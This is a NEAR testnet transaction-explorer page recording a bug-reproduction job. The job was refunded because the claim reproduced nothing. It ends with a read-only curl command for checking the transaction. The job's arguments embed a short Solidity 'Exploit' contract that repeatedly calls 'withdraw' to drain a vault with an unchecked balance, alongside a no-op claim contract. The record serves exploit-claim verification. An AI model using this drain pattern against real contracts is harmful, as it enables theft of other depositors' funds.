Transaction

What happened, step by step

1. guard.repro-1101-owner.testnet to ledger.repro-1101-owner.testnet

   record_job()

   Arguments (2053 bytes)

   {
     "job_id": "pg-mwfyf5p2-fake",
     "supplier": "sup.repro-1101-owner.testnet",
     "price": "20000000000000000000000",
     "supplier_cost": "0",
     "inference_cost": "0",
     "bugs_claimed": 1,
     "bugs_reproduced": 0,
     "evidence": "4dcbe6c19a4c1e19a0a92f9c91e0d40bc8a663567f8eb4ad4d43e762687641f2",
     "repo": "https://github.com/CryptoInnovators/near-repro",
     "base_ref": "da8dcc0f899221265d5ee9fc9f90315be30b2d73",
     "head_ref": "da8dcc0f899221265d5ee9fc9f90315be30b2d73",
     "base_tree": "d2b1a407d0cd1fb5e3695c3a93cf998f51694f31",
     "head_tree": "d12171ede30451f0554ba2aec75a91bf36a511e7",
     "test": "// Repro Rescue claim NoopClaim against vault 0xad57c5bb698ee89fb0de3e83cb2737ed8205cb38 on Sepolia (asserts nothing)\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.24;\n\ninterface IGuardVault {\n    function deposit() external payable;\n    function withdraw(uint256 amount) external;\n}\n\n// Claim: withdraw() does not debit the caller's balance, so one deposit can be withdrawn\n// repeatedly and drains other depositors. attack() returns what the caller gained beyond its own deposit.\ncontract Exploit {\n    function attack(IGuardVault v) external payable returns (uint256 gained) {\n        uint256 before = address(this).balance - msg.value;\n        v.deposit{value: msg.value}();\n        uint256 rounds = address(v).balance / msg.value;\n        for (uint256 i = 0; i < rounds; i++) v.withdraw(msg.value);\n        gained = address(this).balance - before - msg.value;\n    }\n\n    receive() external payable {}\n}\n\n// A claim that asserts nothing: an honest deposit and one matching withdrawal.\ncontract NoopClaim {\n    function attack(IGuardVault v) external payable returns (uint256 gained) {\n        uint256 before = address(this).balance - msg.value;\n        v.deposit{value: msg.value}();\n        v.withdraw(msg.value);\n        gained = address(this).balance - before - msg.value;\n    }\n\n    receive() external payable {}\n}\n",
     "verdict_sig": "2be3db0df63b287323be4fd0655ff0dc8808749be1ed514370cd905ec31f873ec6c1fde58044238ecab7c3ae2fe772cc03657a4c299cd796528f4e2b1e7bdb0b"
   }

   Logs (1)

   EVENT_JSON:{"standard":"repro","event":"job_recorded","data":[{"job_id":"pg-mwfyf5p2-fake","bugs_claimed":1,"bugs_reproduced":0,"evidence":"4dcbe6c19a4c1e19a0a92f9c91e0d40bc8a663567f8eb4ad4d43e762687641f2","loss":"0","refund":"20000000000000000000000","revenue":"0","supplier_paid":"0"}]}

2. ledger.repro-1101-owner.testnet to payer.repro-1101-owner.testnet

   Transfer with 0.0200 NEAR

3. ledger.repro-1101-owner.testnet to ledger.repro-1101-owner.testnet

   on_refund_sent()

   Arguments (64 bytes)

   {
     "job_id": "pg-mwfyf5p2-fake",
     "refund": "20000000000000000000000"
   }

3 automatic refund steps from the network not shown.

Check this yourself

This page reads FastNEAR's public transaction index and stores nothing. This command asks a NEAR archival node for the same transaction and needs no keys.

curl -s https://archival-rpc.testnet.fastnear.com -H 'Content-Type: application/json' -d '{"jsonrpc":"2.0","id":1,"method":"tx","params":{"tx_hash":"7QTXF6ARcYGUGyn6Z5AaLsmTzvo6Sb3VdM4NV1YFyf3s","sender_account_id":"guard.repro-1101-owner.testnet","wait_until":"FINAL"}}'

Vouch has its own page because testnet.nearblocks.io stopped indexing on 27 Sep 2026, so it can't show newer transactions.